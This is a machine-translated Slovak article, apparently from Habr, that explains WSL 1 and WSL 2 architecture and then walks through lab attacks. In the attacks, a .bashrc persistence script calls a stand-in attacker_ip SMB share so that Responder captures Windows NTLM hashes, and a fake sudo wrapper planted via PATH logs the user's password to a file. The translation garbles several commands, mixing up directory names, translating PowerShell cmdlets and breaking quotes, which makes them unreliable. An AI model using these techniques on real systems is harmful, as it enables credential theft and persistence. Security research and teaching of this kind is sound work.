WSL experimenty. Časť 1

Hej, Habr! OTUS spúšťa v októbri nový stream kurzov. "Bezpečnosť Linux»Pred spustením kurzu sa s vami delíme o článok, ktorý napísal jeden z našich inštruktorov, Alexander Kolesnikov.

WSL experimenty. Časť 1

V roku 2016 spoločnosť Microsoft predstavila IT komunite novú technológiu WSL (Windows Spodsystém pre Linux), čo z dlhodobého hľadiska umožnilo zjednotenie predtým nezmieriteľných konkurentov, ktorí bojovali o popularitu medzi bežnými aj pokročilými používateľmi OS: Windows и LinuxTáto technológia umožnila používať nástroje operačného systému. Linux obkľúčený Windows bez nutnosti spustenia Linux, napríklad pomocou multi-bootu. Na Habr nájdete množstvo článkov popisujúcich výhody používania WSL. Bohužiaľ, v čase písania tohto článku sa na tomto zdroji nenašli žiadne štúdie o bezpečnosti tejto symbiózy operačných systémov. Tento príspevok je pokusom o nápravu. Článok sa bude zaoberať vlastnosťami architektúr WSL 1 a 2 a bude analyzovať niekoľko príkladov útokov na systémy využívajúce tieto technológie. Článok je rozdelený do dvoch častí. Prvá predstaví hlavné teoretické metódy útoku. Linux и WindowsDruhý článok sa bude venovať nastaveniu testovacieho prostredia a reprodukcii útokov.

WSL 1: Architektonické prvky

Pre úplné pochopenie bezpečnostných problémov WSL je potrebné identifikovať kľúčové nuansy spojené s implementáciou subsystému. Jednou z hlavných potrieb používateľov, ktoré WSL rieši, je umožnenie prístupu terminálu. Linux systémy na hostiteľovi s operačným systémom WindowsPonúkaná kompatibilita bola tiež taká natívna, že spustiteľné súbory Linux (ELF) by sa dal spustiť priamo v systéme WindowsNa dosiahnutie týchto cieľov v Windows 10 bol vytvorený špeciálny podsystém, ktorý umožňuje spúšťanie aplikácií Linux pomocou sady špecifických systémových volaní - teda bol vykonaný pokus o mapovanie sady systémových volaní Linux na WindowsFyzicky sa to implementovalo pridaním nových ovládačov a nového formátu procesov. Vizuálne architektúra vyzerala takto:

WSL experimenty. Časť 1

V podstate ide o interakciu s operačným systémom Linux bol organizovaný pomocou niekoľkých modulov jadra a špeciálneho typu procesu – pico. Diagram vyššie ukazuje, že proces bežiaci v inštancii Linux na hostiteľovi, musí byť natívny a musí používať rovnaké zdroje ako bežné aplikácie WindowsAle ako sa to dá dosiahnuť? V projekte zdvíhací most boli vyvinuté procesné koncepty pre Windows, ktorý poskytoval všetky potrebné komponenty operačného systému (v závislosti od jeho verzie) na spustenie aplikácie z iného operačného systému.

Všimnite si, že navrhovaná abstrakcia umožnila nespoliehať sa na operačný systém (najmä Windows), ktorý očakáva spustenie ďalšieho procesu operačného systému, a navrhol všeobecný prístup.

Takže akákoľvek aplikácia v procese pico by mohla bežať bez ohľadu na jadro. Windows:

  1. Problémy s kompatibilitou a prekladom systémových volaní musia riešiť špecializovaní poskytovatelia;
  2. Riadenie prístupu musí byť implementované prostredníctvom Monitora zabezpečenia. Monitor sa nachádza v jadre, a preto Windows Bolo potrebné vylepšiť systém vo forme nového ovládača, ktorý by mohol slúžiť ako poskytovateľ pre takéto procesy. Prototyp pico procesu je schematicky znázornený nižšie:

WSL experimenty. Časť 1

Pretože súborový systém Linux používa názvy súborov a adresárov rozlišujúce malé a veľké písmená, Windows Na použitie s WSL boli pridané dva typy súborových systémov: VolFS a DriveFS. VolFS je implementácia súborového systému. LinuxDriveFS je súborový systém, ktorý funguje podľa pravidiel Windows, ale má možnosť vybrať rozlišovanie medzi malými a veľkými písmenami v názvoch.

WSL 2

WSL 1 mal množstvo obmedzení, ktoré bránili jeho použitiu na riešenie najširšej škály úloh: napríklad mu chýbala schopnosť spúšťať 32-bitové verzie. Linux Aplikácie nemohli používať ovládače zariadení. Preto bol v roku 2020 vydaný WSL 2, ktorý zmenil prístup k budovaniu subsystému. WSL 2 je optimalizovaný virtuálny stroj, ktorý zodpovedá charakteristikám spotreby zdrojov WSL 1. Teraz, v závislosti od problémov, ktoré používateľ rieši, operačný systém... Windows, môžete si vybrať požadovanú verziu podsystému, s ktorou chcete pracovať LinuxNa zmiernenie potenciálnych zraniteľností bol WSL 2 implementovaný na báze Hyper-V v... Windows 10V tejto forme Windows má schopnosť spúšťať jadro operačného systému izolovane LinuxStojí za to pripomenúť, že verzia 1 WSL bola predstavená ako beta funkcia, ktorá mala ukázať smer vývoja. Windows v tejto oblasti, takže prechod na Hyper-V bol nevyhnutný. Konečná architektúra vyzerá takto:

WSL experimenty. Časť 1

V tejto verzii systémové jadrá Windows и Linux Každý z nich má svoje vlastné zdroje a prekrýva sa iba v rámci súborového systému, ale toto prekrývanie nie je ani zďaleka úplné. Interakcia medzi súborovými systémami sa realizuje prostredníctvom klient-serverového obalu, ktorý funguje na protokole 9P.

Spoločnosť Microsoft v súčasnosti poskytuje možnosť prepínať medzi verziami WSL 1 a WSL 2. Obe verzie sú k dispozícii na použitie.

Zabezpečenie WSL

V súčasnosti existuje niekoľko štúdií opisujúcich prístupy k používaniu legitímnych nástrojov OS na útoky na interakcie medzi subsystémami. Použijeme ich scenáre na otestovanie relevantnosti útokov v čase písania tohto článku. Všeobecný zoznam útokov a ich scenárov:

1. Implementácia súborového systému: prístupové práva, dostupnosť zdieľaných adresárov/mechanizmov výmeny údajov.

Výskum sa uskutočnil na tému porušovania pravidiel prístupu zo strany Linux FS->Windows FS, Windows FS->Linux FSVýskum preukázal schopnosť upraviť daný súbor v cieľovom operačnom systéme. Taktiež sa uskutočnili pokusy o nahradenie, vytvorenie klonov a odstránenie častí súborových systémov.

Scenár:

  • A. Útok z operačného systému Windows — úprava súborov z adresára /etc operačného systému Linux.
  • B. Útok z operačného systému Linux — úprava súborov v adresároch: C:Windows, C:Program Files, C:Users<User>

2. Implementácia sieťového zásobníka.

Výskum bol vykonaný na príkladoch útokov z operačného systému Linux na WindowsBoli zneužité prevádzkové funkcie sieťového zásobníka, konkrétne jeho mechanizmy autentifikácie pre rôzne zdroje.

Scenár:

  • Otvorenie prístupu k portu, ktorý je v systéme obsadený Windows
  • Otvorenie portu bez príslušných oprávnení
  • Spustenie reverzného shellu pomocou súboru elf v operačnom systéme Windows.

3. Skrytie spustenia procesov škodlivého softvéru pomocou podsystému WSL.

Výskum bol založený na jednoduchom fakte: bezpečnostné podsystémy nemôžu v prípade WSL 1 zachytiť udalosti v inom jadre bežiacom pod legitímnym poskytovateľom operačného systému. V prípade WSL 2 neexistuje spôsob, ako zobraziť udalosti, ktoré sa vyskytujú v samostatnom jadre v rámci ľahkého virtuálneho stroja.

Scenár:

1) Spustite aplikáciu pre vzdialený prístup k systému a zobrazte si zaznamenané udalosti.

Experimenty WSL 1: Únos hashu (OS) Windows)

Konečne sme sa dostali k praktickej časti. Najprv musíme nastaviť testovacie prostredie. Všetky experimenty sa budú vykonávať na testovacej stolici s Windows 10 2004. Pre WSL bol vybraný obraz operačného systému Ubuntu 18.04. apríla. Obrázok bol vybraný náhodne a akýkoľvek iný bude fungovať rovnako dobre. Príkazy na nastavenie stojana:

Najprv to musíš spustiť powershell.exe v mene správcu.

Pre WSL 1 je potrebné spustiť nasledujúce príkazy:

  1. Povoliť-WindowsVoliteľná funkcia -Online -Názov funkcie Microsoft-Windows-Subsystém-Linux #Povoliť funkciu WSL
  2. Invoke-WebRequest-Uri aka.ms/wsl-ubuntu-1804

-VýstupnýSúbor ~/Ubuntu.appx -UseBasicParsing #Načítanie obrázka Linux z obchodu Microsoft Store

  • Ubuntu.appx install —root #Inštalácia obrazu
  • Možno budete musieť prejsť procesom nastavenia a vytvoriť nového používateľa s menšími oprávneniami ako má root. Pre naše testy to bude štandardný používateľ sam.
  • Reštart počítača #Reštart
  • Po reštarte inštalácie môžete spustiť príkaz bash. Ak všetko fungovalo správne, v konzole sa zobrazí výstup podobný tomuto. Windows:

    WSL experimenty. Časť 1

    Ako útočníkov stroj použijeme distribúciu Kali. Linux, všetky počítače musia byť v rovnakej lokálnej sieti.

    Predpokladajme, že máme na počítači neprivilegovaný prístup k WSL. WindowsSkúsme zaútočiť na operačný systém. Linux, volanie príkazu z LinuxNa implementáciu útoku použijeme jednoduchú techniku ​​automatického spustenia – pridáme náš skript do prostredia. LinuxAk to chcete urobiť, musíte zmeniť súbor .bashrc.

    Na počítači s WSL spustite:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Autom Kali Linux vykonávame:

    1. Responder -I eth0 -rdvw

    Autom Windows Spustime bash.

    Čakáme na výsledky z Kali prístroja. Linux:

    WSL experimenty. Časť 1

    Takže máme hash používateľov Windows prostredníctvom podsystému WSL spustením príkazu v systéme Linux.

    Experimenty WSL 1: Získanie používateľského hesla (OS) Linux)

    Urobme ďalší experiment. Počas tohto testu pridáme do súboru .bashrc niekoľko príkazov na získanie hesla používateľa operačného systému Linux.

    Spustíme bash a zadáme príkazy:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Aby bol útok úspešný, musí používateľ Sam v termináli spustiť príkaz sudo. LinuxPotom heslo používateľa operačného systému Linux bude v súbore pass.txt:

    WSL experimenty. Časť 1

    Implementácia útokov bola uvedená len pre teoretické informácie.

    V ďalšej časti článku sa popíše implementácia protokolu 9P, zváži sa vytvorenie skenera pre tento protokol a tiež sa vykoná útok s jeho použitím.

    Zoznam referencií

    WSL experimenty. Časť 1

    Čítaj viac

    Zdroj: hab.com

    Kúpte si spoľahlivý hosting pre stránky s DDoS ochranou, VPS VDS servery 🔥 Kúpte si spoľahlivý webhosting s ochranou DDoS, VPS VDS servery | ProHoster